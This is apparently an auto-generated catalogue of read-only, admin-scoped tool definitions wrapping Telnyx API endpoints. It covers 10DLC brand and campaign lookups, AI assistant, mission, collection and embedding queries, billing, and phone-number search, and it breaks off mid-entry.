telnyx_get_10dlc_brand_by_brandid_externalvetting (read) — Get list of valid external vetting record for a given brand [Brands] via GET /10dlc/brand/{brandId}/externalVetting GET /api/v1/telnyx/10dlc/brand/{brandId}/externalVetting. Scopes: admin. telnyx_get_10dlc_brand_by_brandid_smsotp (read) — Query the status of an SMS OTP (One-Time Password) for Sole Proprietor brand verification using the Brand ID. This endpoint allows you to check the delivery and verification status of an OTP sent during the Sole Proprietor brand verification process by looking it up with the brand ID. The response includes delivery status, verification dates, and detailed delivery information. Note: This is an alternative to the /10dlc/brand/smsOtp/{referenceId} endpoint when you have the Brand ID but not the reference ID. [Brands] via GET /10dlc/brand/{brandId}/smsOtp GET /api/v1/telnyx/10dlc/brand/{brandId}/smsOtp. Scopes: admin. telnyx_get_10dlc_brand_feedback_by_brandid (read) — Get feedback about a brand by ID. This endpoint can be used after creating or revetting a brand. Possible values for .category[].id: * TAX_ID - Data mismatch related to tax id and its associated properties. * STOCK_SYMBOL - Non public entity registered as a public for profit entity or the stock information mismatch. * GOVERNMENT_ENTITY - Non government entity registered as a government entity. Must be a U.S. government entity. * NONPROFIT - Not a recognized non-profit entity. No IRS tax-exempt status found. * OTHERS - Details of the data misrepresentation if any. [Brands] via GET /10dlc/brand_feedback/{brandId} GET /api/v1/telnyx/10dlc/brand_feedback/{brandId}. Scopes: admin. telnyx_get_10dlc_brand_smsotp_by_referenceid (read) — Query the status of an SMS OTP (One-Time Password) for Sole Proprietor brand verification. This endpoint allows you to check the delivery and verification status of an OTP sent during the Sole Proprietor brand verification process. You can query by either: * referenceId - The reference ID returned when the OTP was initially triggered * brandId - Query parameter for portal users to look up OTP status by Brand ID The response includes delivery status, verification dates, and detailed delivery information. [Brands] via GET /10dlc/brand/smsOtp/{referenceId} GET /api/v1/telnyx/10dlc/brand/smsOtp/{referenceId}. Scopes: admin. telnyx_get_10dlc_campaign (read) — Retrieve a list of campaigns associated with a supplied brandId. [Campaign] via GET /10dlc/campaign GET /api/v1/telnyx/10dlc/campaign. Scopes: admin. telnyx_get_10dlc_campaign_by_campaignid (read) — Retrieve campaign details by campaignId. [Campaign] via GET /10dlc/campaign/{campaignId} GET /api/v1/telnyx/10dlc/campaign/{campaignId}. Scopes: admin. telnyx_get_10dlc_campaign_by_campaignid_mnometadata (read) — Get the campaign metadata for each MNO it was submitted to. [Campaign] via GET /10dlc/campaign/{campaignId}/mnoMetadata GET /api/v1/telnyx/10dlc/campaign/{campaignId}/mnoMetadata. Scopes: admin. telnyx_get_10dlc_campaign_by_campaignid_operationstatus (read) — Retrieve campaign's operation status at MNO level. [Campaign] via GET /10dlc/campaign/{campaignId}/operationStatus GET /api/v1/telnyx/10dlc/campaign/{campaignId}/operationStatus. Scopes: admin. telnyx_get_10dlc_campaign_by_campaignid_osr_attributes (read) — Retrieve the OSR attributes assigned to a 10DLC campaign. [Campaign] via GET /10dlc/campaign/{campaignId}/osr_attributes GET /api/v1/telnyx/10dlc/campaign/{campaignId}/osr_attributes. Scopes: admin. telnyx_get_10dlc_campaign_by_campaignid_sharing (read) — Returns whether the campaign is configured for partner sharing and the current sharing state. [Campaign] via GET /10dlc/campaign/{campaignId}/sharing GET /api/v1/telnyx/10dlc/campaign/{campaignId}/sharing. Scopes: admin. telnyx_get_10dlc_campaign_usecase_cost (read) — Retrieve the campaign cost associated with a given 10DLC use case, including any carrier fees. [Campaign] via GET /10dlc/campaign/usecase_cost GET /api/v1/telnyx/10dlc/campaign/usecase_cost. Scopes: admin. telnyx_get_10dlc_campaignbuilder_brand_by_brandid_usecase_by_usecase (read) — This endpoint allows you to see whether or not the supplied brand is suitable for your desired campaign use case. [Campaign] via GET /10dlc/campaignBuilder/brand/{brandId}/usecase/{usecase} GET /api/v1/telnyx/10dlc/campaignBuilder/brand/{brandId}/usecase/{usecase}. Scopes: admin. telnyx_get_10dlc_enum_by_endpoint (read) — Returns the accepted values for the selected 10DLC enumeration endpoint. Use these values when constructing brand and campaign requests. [Enum] via GET /10dlc/enum/{endpoint} GET /api/v1/telnyx/10dlc/enum/{endpoint}. Scopes: admin. telnyx_get_10dlc_partner_campaigns (read) — Retrieve all partner campaigns you have shared to Telnyx in a paginated fashion. This endpoint is currently limited to only returning shared campaigns that Telnyx has accepted. In other words, shared but pending campaigns are currently omitted from the response from this endpoint. [Shared Campaigns] via GET /10dlc/partner_campaigns GET /api/v1/telnyx/10dlc/partner_campaigns. Scopes: admin. telnyx_get_10dlc_partner_campaigns_by_campaignid (read) — Retrieve campaign details by campaignId. [Shared Campaigns] via GET /10dlc/partner_campaigns/{campaignId} GET /api/v1/telnyx/10dlc/partner_campaigns/{campaignId}. Scopes: admin. telnyx_get_10dlc_partnercampaign_by_campaignid_sharing (read) — Returns the partner-sharing state for the specified campaign. [Shared Campaigns] via GET /10dlc/partnerCampaign/{campaignId}/sharing GET /api/v1/telnyx/10dlc/partnerCampaign/{campaignId}/sharing. Scopes: admin. telnyx_get_10dlc_partnercampaign_sharedbyme (read) — Get all partner campaigns you have shared to Telnyx in a paginated fashion This endpoint is currently limited to only returning shared campaigns that Telnyx has accepted. In other words, shared but pending campaigns are currently omitted from the response from this endpoint. [Shared Campaigns] via GET /10dlc/partnerCampaign/sharedByMe GET /api/v1/telnyx/10dlc/partnerCampaign/sharedByMe. Scopes: admin. telnyx_get_10dlc_phone_number_campaigns (read) — Returns phone-number-to-campaign assignments for the authenticated account. Apply the documented filters and pagination parameters to narrow the result set. [Phone Number Campaigns] via GET /10dlc/phone_number_campaigns GET /api/v1/telnyx/10dlc/phone_number_campaigns. Scopes: admin. telnyx_get_10dlc_phone_number_campaigns_by_phonenumber (read) — Retrieve an individual phone number/campaign assignment by phoneNumber. [Phone Number Campaigns] via GET /10dlc/phone_number_campaigns/{phoneNumber} GET /api/v1/telnyx/10dlc/phone_number_campaigns/{phoneNumber}. Scopes: admin. telnyx_get_10dlc_phonenumberassignmentbyprofile_by_taskid (read) — Check the status of the task associated with assigning all phone numbers on a messaging profile to a campaign by taskId. [Bulk Phone Number Campaigns] via GET /10dlc/phoneNumberAssignmentByProfile/{taskId} GET /api/v1/telnyx/10dlc/phoneNumberAssignmentByProfile/{taskId}. Scopes: admin. telnyx_get_10dlc_phonenumberassignmentbyprofile_by_taskid_phonenumbers (read) — Check the status of the individual phone number/campaign assignments associated with the supplied taskId. [Bulk Phone Number Campaigns] via GET /10dlc/phoneNumberAssignmentByProfile/{taskId}/phoneNumbers GET /api/v1/telnyx/10dlc/phoneNumberAssignmentByProfile/{taskId}/phoneNumbers. Scopes: admin. telnyx_get_access_ip_address (read) — Retrieve a paginated list of access IP addresses configured on your account. [IP Addresses] via GET /access_ip_address GET /api/v1/telnyx/access_ip_address. Scopes: admin. telnyx_get_access_ip_address_by_access_ip_address_id (read) — Retrieve the details of a specific access IP address. [IP Addresses] via GET /access_ip_address/{access_ip_address_id} GET /api/v1/telnyx/access_ip_address/{access_ip_address_id}. Scopes: admin. telnyx_get_access_ip_ranges (read) — Retrieve a paginated list of access IP ranges configured on your account. [IP Ranges] via GET /access_ip_ranges GET /api/v1/telnyx/access_ip_ranges. Scopes: admin. telnyx_get_addresses (read) — Returns a paginated list of the addresses on your account, with support for filtering and sorting. [Addresses] via GET /addresses GET /api/v1/telnyx/addresses. Scopes: admin. telnyx_get_addresses_by_id (read) — Retrieves the details of an existing address. [Addresses] via GET /addresses/{id} GET /api/v1/telnyx/addresses/{id}. Scopes: admin. telnyx_get_advanced_orders (read) — Returns the advanced number orders associated with the account. Each result includes the order configuration and its current state. [Advanced Number Orders] via GET /advanced_orders GET /api/v1/telnyx/advanced_orders. Scopes: admin. telnyx_get_advanced_orders_by_order_id (read) — Returns the advanced number order identified by order_id, including its configuration and current state. [Advanced Number Orders] via GET /advanced_orders/{order_id} GET /api/v1/telnyx/advanced_orders/{order_id}. Scopes: admin. telnyx_get_ai_assistants (read) — Retrieve a list of all AI Assistants configured by the user. [Assistants] via GET /ai/assistants GET /api/v1/telnyx/ai/assistants. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id (read) — Retrieve an AI Assistant configuration by assistant_id. [Assistants] via GET /ai/assistants/{assistant_id} GET /api/v1/telnyx/ai/assistants/{assistant_id}. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id_canary_deploys (read) — Endpoint to get a canary deploy configuration for an assistant. Retrieves the current canary deploy configuration with all version IDs and their traffic percentages for the specified assistant. [Assistants] via GET /ai/assistants/{assistant_id}/canary-deploys GET /api/v1/telnyx/ai/assistants/{assistant_id}/canary-deploys. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id_scheduled_events (read) — Get scheduled events for an assistant with pagination and filtering [Assistants] via GET /ai/assistants/{assistant_id}/scheduled_events GET /api/v1/telnyx/ai/assistants/{assistant_id}/scheduled_events. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id_scheduled_events_by_event_id (read) — Returns the details of a single scheduled event configured for the specified assistant. [Assistants] via GET /ai/assistants/{assistant_id}/scheduled_events/{event_id} GET /api/v1/telnyx/ai/assistants/{assistant_id}/scheduled_events/{event_id}. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id_texml (read) — Get an assistant texml by assistant_id. [Assistants] via GET /ai/assistants/{assistant_id}/texml GET /api/v1/telnyx/ai/assistants/{assistant_id}/texml. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id_versions (read) — Retrieves all versions of a specific assistant with complete configuration and metadata [Assistants] via GET /ai/assistants/{assistant_id}/versions GET /api/v1/telnyx/ai/assistants/{assistant_id}/versions. Scopes: admin. telnyx_get_ai_assistants_by_assistant_id_versions_by_version_id (read) — Retrieves a specific version of an assistant by assistant_id and version_id [Assistants] via GET /ai/assistants/{assistant_id}/versions/{version_id} GET /api/v1/telnyx/ai/assistants/{assistant_id}/versions/{version_id}. Scopes: admin. telnyx_get_ai_assistants_tags (read) — Retrieve all tags that have been applied to your AI assistants. [Assistants] via GET /ai/assistants/tags GET /api/v1/telnyx/ai/assistants/tags. Scopes: admin. telnyx_get_ai_assistants_tests (read) — Retrieves a paginated list of assistant tests with optional filtering capabilities [Assistants] via GET /ai/assistants/tests GET /api/v1/telnyx/ai/assistants/tests. Scopes: admin. telnyx_get_ai_assistants_tests_by_test_id (read) — Retrieves detailed information about a specific assistant test [Assistants] via GET /ai/assistants/tests/{test_id} GET /api/v1/telnyx/ai/assistants/tests/{test_id}. Scopes: admin. telnyx_get_ai_assistants_tests_by_test_id_runs (read) — Retrieves paginated execution history for a specific assistant test with filtering options [Assistants] via GET /ai/assistants/tests/{test_id}/runs GET /api/v1/telnyx/ai/assistants/tests/{test_id}/runs. Scopes: admin. telnyx_get_ai_assistants_tests_by_test_id_runs_by_run_id (read) — Retrieves detailed information about a specific test run execution [Assistants] via GET /ai/assistants/tests/{test_id}/runs/{run_id} GET /api/v1/telnyx/ai/assistants/tests/{test_id}/runs/{run_id}. Scopes: admin. telnyx_get_ai_assistants_tests_test_suites (read) — Retrieves a list of all distinct test suite names available to the current user [Assistants] via GET /ai/assistants/tests/test-suites GET /api/v1/telnyx/ai/assistants/tests/test-suites. Scopes: admin. telnyx_get_ai_assistants_tests_test_suites_by_suite_name_runs (read) — Retrieves paginated history of test runs for a specific test suite with filtering options [Assistants] via GET /ai/assistants/tests/test-suites/{suite_name}/runs GET /api/v1/telnyx/ai/assistants/tests/test-suites/{suite_name}/runs. Scopes: admin. telnyx_get_ai_clusters (read) — Retrieve a paginated list of clustering tasks and their statuses. [Clusters] via GET /ai/clusters GET /api/v1/telnyx/ai/clusters. Scopes: admin. telnyx_get_ai_clusters_by_task_id (read) — Fetch the results of a clustering task, including the discovered clusters. [Clusters] via GET /ai/clusters/{task_id} GET /api/v1/telnyx/ai/clusters/{task_id}. Scopes: admin. telnyx_get_ai_collections (read) — Returns a paginated list of collections in your organization. [AI Collections] via GET /ai/collections GET /api/v1/telnyx/ai/collections. Scopes: admin. telnyx_get_ai_collections_by_slug_documents (read) — Runs search over the documents in a collection, ranked by relevance to query. The collection's retrieval_type setting selects the strategy: vector (semantic similarity), hybrid (vector similarity fused with keyword matching), or keyword (lexical BM25 matching). When query is omitted, returns a plain catalog listing of the collection's documents. How it works: 1. For vector and hybrid, the query text is embedded into a 1024-dimensional vector using the multilingual-e5-large model. 2. For vector, the embedding is compared against the collection's indexed document chunks using semantic similarity; for hybrid, those similarity scores are fused with keyword-match scores; for keyword, only lexical BM25 matching is applied. 3. Results are ranked by score (descending) and paginated via page[number] / page[size]. Authentication: Requires a Telnyx API key via Authorization: Bearer . Results are automatically scoped to your organization and cannot be overridden. Filtering: Use filter[field][operator]=value query parameters to narrow results before search. Supported operators: eq (default), in, gte, gt, lte, lt, contains. Metadata fields resolve to metadata. . Examples: - GET /v2/ai/collections/my-collection/documents?query=billing+issue&top_k=10 - GET /v2/ai/collections/my-collection/documents?query=refund&sources=voice,message - GET /v2/ai/collections/my-collection/documents?query=outage&filter[record_created_at][gte]=2026-01-01T00:00:00Z [AI Collections] via GET /ai/collections/{slug}/documents GET /api/v1/telnyx/ai/collections/{slug}/documents. Scopes: admin. telnyx_get_ai_collections_by_uuid (read) — Fetches a single collection by its uuid. [AI Collections] via GET /ai/collections/{uuid} GET /api/v1/telnyx/ai/collections/{uuid}. Scopes: admin. telnyx_get_ai_collections_by_uuid_settings (read) — Returns the retrieval settings for a collection. [AI Collections] via GET /ai/collections/{uuid}/settings GET /api/v1/telnyx/ai/collections/{uuid}/settings. Scopes: admin. telnyx_get_ai_collections_by_uuid_sources (read) — Returns the sources attached to a collection. [AI Collections] via GET /ai/collections/{uuid}/sources GET /api/v1/telnyx/ai/collections/{uuid}/sources. Scopes: admin. telnyx_get_ai_collections_slug_by_slug (read) — Fetches a single collection by its slug. [AI Collections] via GET /ai/collections/slug/{slug} GET /api/v1/telnyx/ai/collections/slug/{slug}. Scopes: admin. telnyx_get_ai_conversation_histories (read) — Performs semantic vector search across conversation history records. How it works: 1. The query text is embedded into a 1024-dimensional vector using the multilingual-e5-large model. 2. The vector is compared against indexed record chunks using semantic similarity search. 3. When no region is specified, all regions are queried in parallel (fan-out) and results are merged by score. 4. Results are ranked by similarity score (descending) and paginated via page[number] / page[size]. Authentication: Requires a Telnyx API key via Authorization: Bearer . Results are automatically scoped to the caller's organization — organization_id is injected from the auth token and cannot be overridden. Chunking: Records are split into chunks of up to 480 tokens with 64-token overlap at ingestion time. Each search result represents a single chunk, with chunk_index and chunk_total indicating its position within the original record. Filtering: Use filter[field][operator]=value query parameters to narrow results before vector search. Top-level filterable fields: user_id, region, record_id, record_created_at, ingested_at, retention Note: retention is filter-only — it can be used to narrow results but is not returned in the response body. Metadata fields: any field not in the list above is resolved to data.metadata. (e.g., filter[language]=en → data.metadata.language). Supported filter operators: - eq — exact match (default when no operator specified) - in — match any of comma-separated values - gte, gt, lte, lt — range comparisons (useful for date filtering) - contains — wildcard substring match Examples: - GET /v2/ai/conversation_histories?q=billing+issue&page[size]=10 - GET /v2/ai/conversation_histories?q=setup+guide®ion=USA&min_score=0.5 - GET /v2/ai/conversation_histories?q=refund&filter[record_created_at][gte]=2026-01-01T00:00:00Z - GET /v2/ai/conversation_histories?q=outage&filter[region][in]=USA,DEU - GET /v2/ai/conversation_histories?q=hold+time&filter[language]=en [Conversation Histories] via GET /ai/conversation_histories GET /api/v1/telnyx/ai/conversation_histories. Scopes: admin. telnyx_get_ai_conversations (read) — Retrieve a list of all AI conversations configured by the user. Supports PostgREST-style query parameters for filtering. Examples are included for the standard metadata fields, but you can filter on any field in the metadata JSON object. For example, to filter by a custom field metadata->custom_field, use metadata->custom_field=eq.value. [Conversations] via GET /ai/conversations GET /api/v1/telnyx/ai/conversations. Scopes: admin. telnyx_get_ai_conversations_by_conversation_id (read) — Retrieve a specific AI conversation by its ID. [Conversations] via GET /ai/conversations/{conversation_id} GET /api/v1/telnyx/ai/conversations/{conversation_id}. Scopes: admin. telnyx_get_ai_conversations_by_conversation_id_conversations_insights (read) — Retrieve insights for a specific conversation [Conversations] via GET /ai/conversations/{conversation_id}/conversations-insights GET /api/v1/telnyx/ai/conversations/{conversation_id}/conversations-insights. Scopes: admin. telnyx_get_ai_conversations_by_conversation_id_messages (read) — Retrieve messages for a specific conversation, including tool calls made by the assistant. [Conversations] via GET /ai/conversations/{conversation_id}/messages GET /api/v1/telnyx/ai/conversations/{conversation_id}/messages. Scopes: admin. telnyx_get_ai_conversations_conversation_insights_aggregates (read) — Aggregate conversation insights by specified fields [Conversations] via GET /ai/conversations/conversation-insights/aggregates GET /api/v1/telnyx/ai/conversations/conversation-insights/aggregates. Scopes: admin. telnyx_get_ai_conversations_insight_groups (read) — Returns a paginated list of your insight template groups. Groups organize related insight templates that are applied together when analyzing conversations. [Conversations] via GET /ai/conversations/insight-groups GET /api/v1/telnyx/ai/conversations/insight-groups. Scopes: admin. telnyx_get_ai_conversations_insight_groups_by_group_id (read) — Returns the details of a single insight template group, including the insight templates assigned to it. [Conversations] via GET /ai/conversations/insight-groups/{group_id} GET /api/v1/telnyx/ai/conversations/insight-groups/{group_id}. Scopes: admin. telnyx_get_ai_conversations_insights (read) — Returns a paginated list of your insight templates. Insight templates define analyses that run over AI conversations to extract structured findings. [Conversations] via GET /ai/conversations/insights GET /api/v1/telnyx/ai/conversations/insights. Scopes: admin. telnyx_get_ai_conversations_insights_by_insight_id (read) — Returns the details of a single insight template by its ID, including its configuration. [Conversations] via GET /ai/conversations/insights/{insight_id} GET /api/v1/telnyx/ai/conversations/insights/{insight_id}. Scopes: admin. telnyx_get_ai_embeddings (read) — Retrieve tasks for the user that are either queued, processing, failed, success or partial_success based on the query string. Defaults to queued and processing. [Embeddings] via GET /ai/embeddings GET /api/v1/telnyx/ai/embeddings. Scopes: admin. telnyx_get_ai_embeddings_buckets (read) — Returns the list of storage buckets that have been embedded for your account, for use with similarity search. [Embeddings] via GET /ai/embeddings/buckets GET /api/v1/telnyx/ai/embeddings/buckets. Scopes: admin. telnyx_get_ai_embeddings_buckets_by_bucket_name (read) — Get all embedded files for a given user bucket, including their processing status. [Embeddings] via GET /ai/embeddings/buckets/{bucket_name} GET /api/v1/telnyx/ai/embeddings/buckets/{bucket_name}. Scopes: admin. telnyx_get_ai_embeddings_by_task_id (read) — Check the status of a current embedding task. Will be one of the following: - queued - Task is waiting to be picked up by a worker - processing - The embedding task is running - success - Task completed successfully and the bucket is embedded - failure - Task failed and no files were embedded successfully - partial_success - Some files were embedded successfully, but at least one failed [Embeddings] via GET /ai/embeddings/{task_id} GET /api/v1/telnyx/ai/embeddings/{task_id}. Scopes: admin. telnyx_get_ai_fine_tuning_jobs (read) — Retrieve a list of all fine tuning jobs created by the user. [Fine Tuning] via GET /ai/fine_tuning/jobs GET /api/v1/telnyx/ai/fine_tuning/jobs. Scopes: admin. telnyx_get_ai_fine_tuning_jobs_by_job_id (read) — Returns the details of a single fine-tuning job by its job_id, including its current status. [Fine Tuning] via GET /ai/fine_tuning/jobs/{job_id} GET /api/v1/telnyx/ai/fine_tuning/jobs/{job_id}. Scopes: admin. telnyx_get_ai_integrations (read) — Returns the list of third-party integrations available to connect to your AI assistants and workflows. [Integrations] via GET /ai/integrations GET /api/v1/telnyx/ai/integrations. Scopes: admin. telnyx_get_ai_integrations_by_integration_id (read) — Returns the details of a single available integration, including its configuration details. [Integrations] via GET /ai/integrations/{integration_id} GET /api/v1/telnyx/ai/integrations/{integration_id}. Scopes: admin. telnyx_get_ai_integrations_connections (read) — Returns the list of integration connections you have set up, linking your account to third-party services. [Integrations] via GET /ai/integrations/connections GET /api/v1/telnyx/ai/integrations/connections. Scopes: admin. telnyx_get_ai_integrations_connections_by_user_connection_id (read) — Returns the details of a single integration connection by its ID. [Integrations] via GET /ai/integrations/connections/{user_connection_id} GET /api/v1/telnyx/ai/integrations/connections/{user_connection_id}. Scopes: admin. telnyx_get_ai_mcp_servers (read) — Returns a paginated list of the MCP servers configured on your account, with optional filtering by type or URL. [MCP Servers] via GET /ai/mcp_servers GET /api/v1/telnyx/ai/mcp_servers. Scopes: admin. telnyx_get_ai_mcp_servers_by_mcp_server_id (read) — Retrieve details for a specific MCP server. [MCP Servers] via GET /ai/mcp_servers/{mcp_server_id} GET /api/v1/telnyx/ai/mcp_servers/{mcp_server_id}. Scopes: admin. telnyx_get_ai_missions (read) — Returns a paginated list of all mission definitions in your organization. Missions describe a goal and the tools, knowledge bases, and MCP servers agents may use to accomplish it. [Missions] via GET /ai/missions GET /api/v1/telnyx/ai/missions. Scopes: admin. telnyx_get_ai_missions_by_mission_id (read) — Get a mission by ID (includes tools, knowledge_bases, mcp_servers) [Missions] via GET /ai/missions/{mission_id} GET /api/v1/telnyx/ai/missions/{mission_id}. Scopes: admin. telnyx_get_ai_missions_by_mission_id_knowledge_bases (read) — Returns the knowledge bases attached to the specified mission. Knowledge bases provide reference content agents can draw on during runs. [Missions] via GET /ai/missions/{mission_id}/knowledge-bases GET /api/v1/telnyx/ai/missions/{mission_id}/knowledge-bases. Scopes: admin. telnyx_get_ai_missions_by_mission_id_knowledge_bases_by_knowledge_base_id (read) — Returns the details of a single knowledge base attached to the specified mission. [Missions] via GET /ai/missions/{mission_id}/knowledge-bases/{knowledge_base_id} GET /api/v1/telnyx/ai/missions/{mission_id}/knowledge-bases/{knowledge_base_id}. Scopes: admin. telnyx_get_ai_missions_by_mission_id_mcp_servers (read) — Returns the MCP servers configured on the specified mission. MCP servers expose external tools and data sources agents can use during runs. [Missions] via GET /ai/missions/{mission_id}/mcp-servers GET /api/v1/telnyx/ai/missions/{mission_id}/mcp-servers. Scopes: admin. telnyx_get_ai_missions_by_mission_id_mcp_servers_by_mcp_server_id (read) — Returns the configuration of a single MCP server attached to the specified mission. [Missions] via GET /ai/missions/{mission_id}/mcp-servers/{mcp_server_id} GET /api/v1/telnyx/ai/missions/{mission_id}/mcp-servers/{mcp_server_id}. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs (read) — Returns a paginated list of runs for the specified mission, optionally filtered by run status, so you can track the mission's execution history over time. [Missions] via GET /ai/missions/{mission_id}/runs GET /api/v1/telnyx/ai/missions/{mission_id}/runs. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs_by_run_id (read) — Returns the full details of a single run, including its current status. Use this to poll an in-flight run or inspect the outcome of a completed one. [Missions] via GET /ai/missions/{mission_id}/runs/{run_id} GET /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs_by_run_id_events (read) — Returns a paginated list of events logged for the specified run, filterable by event type, plan step, and agent, so you can reconstruct exactly what happened during execution. [Missions] via GET /ai/missions/{mission_id}/runs/{run_id}/events GET /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/events. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs_by_run_id_events_by_event_id (read) — Returns the details of a single event logged for the specified run, including its type and payload. [Missions] via GET /ai/missions/{mission_id}/runs/{run_id}/events/{event_id} GET /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/events/{event_id}. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs_by_run_id_plan (read) — Returns the plan for the specified run, including all plan steps and their statuses, so you can see how the mission was decomposed and how far execution has progressed. [Missions] via GET /ai/missions/{mission_id}/runs/{run_id}/plan GET /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/plan. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs_by_run_id_plan_steps_by_step_id (read) — Returns the details of a single plan step within a run's plan, including its status. [Missions] via GET /ai/missions/{mission_id}/runs/{run_id}/plan/steps/{step_id} GET /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/plan/steps/{step_id}. Scopes: admin. telnyx_get_ai_missions_by_mission_id_runs_by_run_id_telnyx_agents (read) — Returns the Telnyx agents currently linked to the specified run. Linked agents participate in executing the run's plan. [Missions] via GET /ai/missions/{mission_id}/runs/{run_id}/telnyx-agents GET /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/telnyx-agents. Scopes: admin. telnyx_get_ai_missions_by_mission_id_tools (read) — Returns the tools configured on the specified mission. Tools define the actions agents may invoke while executing the mission's runs. [Missions] via GET /ai/missions/{mission_id}/tools GET /api/v1/telnyx/ai/missions/{mission_id}/tools. Scopes: admin. telnyx_get_ai_missions_by_mission_id_tools_by_tool_id (read) — Returns the definition of a single tool configured on the specified mission. [Missions] via GET /ai/missions/{mission_id}/tools/{tool_id} GET /api/v1/telnyx/ai/missions/{mission_id}/tools/{tool_id}. Scopes: admin. telnyx_get_ai_missions_events (read) — Returns a paginated list of recent events across every mission in your organization, optionally filtered by event type. Useful for building activity feeds or monitoring dashboards. [Missions] via GET /ai/missions/events GET /api/v1/telnyx/ai/missions/events. Scopes: admin. telnyx_get_ai_missions_runs (read) — Returns a paginated list of recent runs across every mission in your organization, optionally filtered by run status. Useful for monitoring overall mission activity without querying each mission individually. [Missions] via GET /ai/missions/runs GET /api/v1/telnyx/ai/missions/runs. Scopes: admin. telnyx_get_ai_models (read) — Deprecated: Use GET /v2/ai/openai/models instead. Returns the same ModelsResponse payload as the OpenAI-compatible endpoint — open-source LLMs hosted on Telnyx (e.g. moonshotai/Kimi-K2.6, zai-org/GLM-5.1-FP8, MiniMaxAI/MiniMax-M2.7), embedding models, and fine-tuned models — kept around for backwards compatibility. New integrations should use /v2/ai/openai/models. Model ids follow the {organization}/{model_name} convention from Hugging Face. [Chat] via GET /ai/models GET /api/v1/telnyx/ai/models. Scopes: admin. telnyx_get_ai_openai_embeddings_models (read) — Returns a list of available embedding models. This endpoint is compatible with the OpenAI Models API format. [OpenAI Embeddings] via GET /ai/openai/embeddings/models GET /api/v1/telnyx/ai/openai/embeddings/models. Scopes: admin. telnyx_get_ai_openai_models (read) — Lists every model currently available to your account on Telnyx Inference, including SOTA open-source LLMs hosted on Telnyx GPUs (for example moonshotai/Kimi-K2.6, zai-org/GLM-5.1-FP8, and MiniMaxAI/MiniMax-M2.7), embedding models, and any fine-tuned models you have created. Each entry is a ModelMetadata object describing the model id, owner, task, context length, supported languages, billing tier, pricing per 1M tokens, deployment regions, and whether the model supports vision or fine-tuning. Use this endpoint to discover model ids you can pass to POST /v2/ai/openai/chat/completions. Model ids follow the {organization}/{model_name} convention from Hugging Face (for example moonshotai/Kimi-K2.6). This endpoint is OpenAI-compatible: clients pointed at https://api.telnyx.com/v2/ai/openai can call client.models.list() to retrieve the same payload. [OpenAI Chat] via GET /ai/openai/models GET /api/v1/telnyx/ai/openai/models. Scopes: admin. telnyx_get_ai_tools (read) — Retrieve a list of the custom AI tools configured on your account. [Assistants] via GET /ai/tools GET /api/v1/telnyx/ai/tools. Scopes: admin. telnyx_get_ai_tools_by_tool_id (read) — Retrieve the details of a specific AI tool. [Assistants] via GET /ai/tools/{tool_id} GET /api/v1/telnyx/ai/tools/{tool_id}. Scopes: admin. telnyx_get_alphanumeric_sender_ids (read) — List all alphanumeric sender IDs for the authenticated user. [Messaging] via GET /alphanumeric_sender_ids GET /api/v1/telnyx/alphanumeric_sender_ids. Scopes: admin. telnyx_get_alphanumeric_sender_ids_by_id (read) — Retrieve a specific alphanumeric sender ID. [Messaging] via GET /alphanumeric_sender_ids/{id} GET /api/v1/telnyx/alphanumeric_sender_ids/{id}. Scopes: admin. telnyx_get_audit_events (read) — Retrieve a list of audit log entries. Audit logs are a best-effort, eventually consistent record of significant account-related changes. [Audit Logs] via GET /audit_events GET /api/v1/telnyx/audit_events. Scopes: admin. telnyx_get_authentication_providers (read) — Returns a list of your SSO authentication providers. [Authentication Providers] via GET /authentication_providers GET /api/v1/telnyx/authentication_providers. Scopes: admin. telnyx_get_authentication_providers_by_id (read) — Retrieves the details of an existing authentication provider. [Authentication Providers] via GET /authentication_providers/{id} GET /api/v1/telnyx/authentication_providers/{id}. Scopes: admin. telnyx_get_available_phone_number_blocks (read) — Searches the Telnyx inventory for available contiguous phone-number blocks. Results can be filtered by locality, country, national destination code, and number type. [Phone Number Search] via GET /available_phone_number_blocks GET /api/v1/telnyx/available_phone_number_blocks. Scopes: admin. telnyx_get_available_phone_numbers (read) — Searches the Telnyx inventory for available phone numbers. Filters support number patterns, location, number type, features, reservability, and other inventory constraints; the response includes matching numbers and search metadata. [Phone Number Search] via GET /available_phone_numbers GET /api/v1/telnyx/available_phone_numbers. Scopes: admin. telnyx_get_balance (read) — Retrieve the current balance, available credit, and credit limit for your account. [Billing] via GET /balance GET /api/v1/telnyx/balance. Scopes: admin. telnyx_get_billing_groups (read) — Retrieve a paginated list of billing groups on your account. [Billing Groups] via GET /billing_groups GET /api/v1/telnyx/billing_groups. Scopes: admin. telnyx_get_billing_groups_by_id (read) — Retrieve the details of a specific billing group. [Billing Groups] via GET /billing_groups/{id} GET /api/v1/telnyx/billing_groups/{id}. Scopes: admin. telnyx_get_bulk_sim_card_actions (read) — This API lists a paginated collection of bulk SIM card actions. A bulk SIM card action contains details about a collection of individual SIM card actions. [SIM Card Actions] via GET /bulk_sim_card_actions GET /api/v1/telnyx/bulk_sim_card_actions. Scopes: admin. telnyx_get_bulk_sim_card_actions_by_id (read) — This API fetches information about a bulk SIM card action. A bulk SIM card action contains details about a collection of individual SIM card actions. [SIM Card Actions] via GET /bulk_sim_card_actions/{id} GET /api/v1/telnyx/bulk_sim_card_actions/{id}. Scopes: admin. telnyx_get_bundle_pricing_billing_bundles (read) — Returns a paginated list of the billing bundles available to your account, with support for filtering. [Bundles] via GET /bundle_pricing/billing_bundles GET /api/v1/telnyx/bundle_pricing/billing_bundles. Scopes: admin. telnyx_get_bundle_pricing_billing_bundles_by_bundle_id (read) — Returns the details of a single billing bundle by its ID, so you can inspect its contents before purchasing a user bundle. [Bundles] via GET 